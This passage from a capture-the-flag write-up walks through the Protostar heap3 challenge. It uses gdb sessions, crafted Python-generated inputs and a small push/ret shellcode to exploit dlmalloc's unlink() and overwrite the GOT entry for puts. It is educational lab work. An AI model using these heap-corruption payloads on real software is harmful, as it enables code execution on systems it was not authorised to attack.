0x804c000:      0x00000000      0x00000029      0x0804c028      0x41414141
0x804c010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x0804c050      0x42424242      0x00000000      0x00000000
0x804c040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c050:      0x00000000      0x00000029      0x00000000      0x43434343
0x804c060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000
Now, with some evil input. We will overwrite the second chunk's header. We will set the prev_size (first 4 bytes) to -5 and size (following 4 bytes) to -4. We will follow these, with different values for later debugging.
(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + '\xfc\xff\xff\xff' + 'A'*5 + 'B'*4 + 'C'*4"` C
(gdb) next

Program received signal SIGSEGV, Segmentation fault.
0x080498fd in free (mem=0x804c058) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
        in common/malloc.c
(gdb) x/i $eip
0x80498fd <free+217>:   mov    %edx,0xc(%eax)
(gdb) i r
eax            0x42424242       1111638594
ecx            0x0      0
edx            0x43434343       1128481603
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6f0       0xbffff6f0
ebp            0xbffff738       0xbffff738
esi             0x0      0
edi             0x0      0
eip             0x80498fd        0x80498fd <free+217>
eflags         0x210202 [ IF RF ID ]
cs              0x73     115
ss              0x7b     123
ds              0x7b     123
es              0x7b     123
fs               0x0      0
gs              0x33     51
Interesting! Ability to write chosen 4 bytes in a memory address of our choice. Total control.
the instruction that segfaults, tries to write the content of edx into [eax+12]. If we want to overwrite the content of puts() entry in GOT with address of winner(), we would do something like this:
BBBB: GOT[puts] - 12
CCCC: @winner()
We get the needed values.
user@protostar:~/heap3$ nm /opt/protostar/bin/heap3 | grep winner
08048864 T winner
user@protostar:~/heap3$ objdump -R /opt/protostar/bin/heap3
<snip>
0804b128 R_386_JUMP_SLOT   puts
<snip>
Let's try again.
(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C
(gdb) next


Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638    common/malloc.c: No such file or directory.
        in common/malloc.c
(gdb) x/i $eip
0x8049906 <free+226>:   mov    %edx,0x8(%eax)
(gdb) i r
eax            0x8048864        134514788
ecx            0x0      0
edx            0x804b11c        134525212
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff6f0       0xbffff6f0
ebp            0xbffff738       0xbffff738
esi             0x0      0
edi             0x0      0
eip             0x8049906        0x8049906 <free+226>
eflags         0x210202 [ IF RF ID ]
cs               0x73     115
ss               0x7b     123
ds               0x7b     123
es               0x7b     123
fs               0x0      0
gs              0x33     51
Another segfault! We made some progress though, as the responsible instruction is trying to copy GOT[puts]-12 into the address of winner() + 8. The later is in .text section which is read-only. We will have to write a shellcode and jump into it instead. But before jumping (pun intended) into that, some explanations are needed.
First, why size == -4 ? when free(c) is called, it will check whether the chunk located before c (in this case b) is unused. If this is the case, it will be taken off the doubly-linked list using the unlink() macro. Remember how to delete an element from a doubly-linked list and look at how The unlink() is defined.
#define unlink( P, BK, FD ) {            \
    BK = P->bk;                          \
    FD = P->fd;                          \
    FD->bk = BK;                         \
    BK->fd = FD;                         \
}
The negative size of -4 (which has the PREV_INUSE bit unset) means that the next contiguous will be looked for 4 bytes backward from the start of the b
chunk. The phrack paper does a good job in explaining all the details of the algorithm.
Now with the exploit.
user@protostar:~/heap3$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+'\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C
that wasn't too bad now, was it? @ 1357404470
How does this work ? This time, we will ovewrrite puts()'s GOT entry with the
address of the first buffer + 4 bytes. At the first buffer, we will insert 4
filler bytes + our small shellcode which is a push @winner() / ret. The 4
padding bytes are there to escape the free(a)'s writing the address of the next
free chunk.
user@protostar:~/heap3$ cat pushret.asm
mov 0x08048864, eax
ret
user@protostar:~/heap3$ objdump -d pushret.o

pushret.o:     file format elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   68 64 88 04 08          push   $0x8048864
   5:   c3                      ret
Given that our shellcode is small (6 bytes), we won't need a relative jump over the 0x0804b11c that is written 8 bytes further up (by BK->fd = FD; instruction).
(gdb) x/36wx 0x804c000
0x804c000:      0x00000000      0x00000029      0x0804c028      0x04886468
0x804c010:      0x0000c308      0x0804b11c      0x00000000      0x00000000
0x804c020:      0x00000000      0x00000000      0x00000000      0x00000029
0x804c030:      0x00000000      0x41414141      0x41414141      0x41414141
0x804c040:      0x41414141      0x41414141      0x41414141      0xfffffff5
0x804c050:      0xfffffff8             0xfffffffc           0xf5410043      0x94ffffff
0x804c060:      0x940804b1      0x000804b1      0x00000000      0x00000000
0x804c070:      0x00000000      0x00000000      0x00000000      0x00000f89
0x804c080:      0x00000000      0x00000000      0x00000000      0x00000000
And that is it with the heap challenges.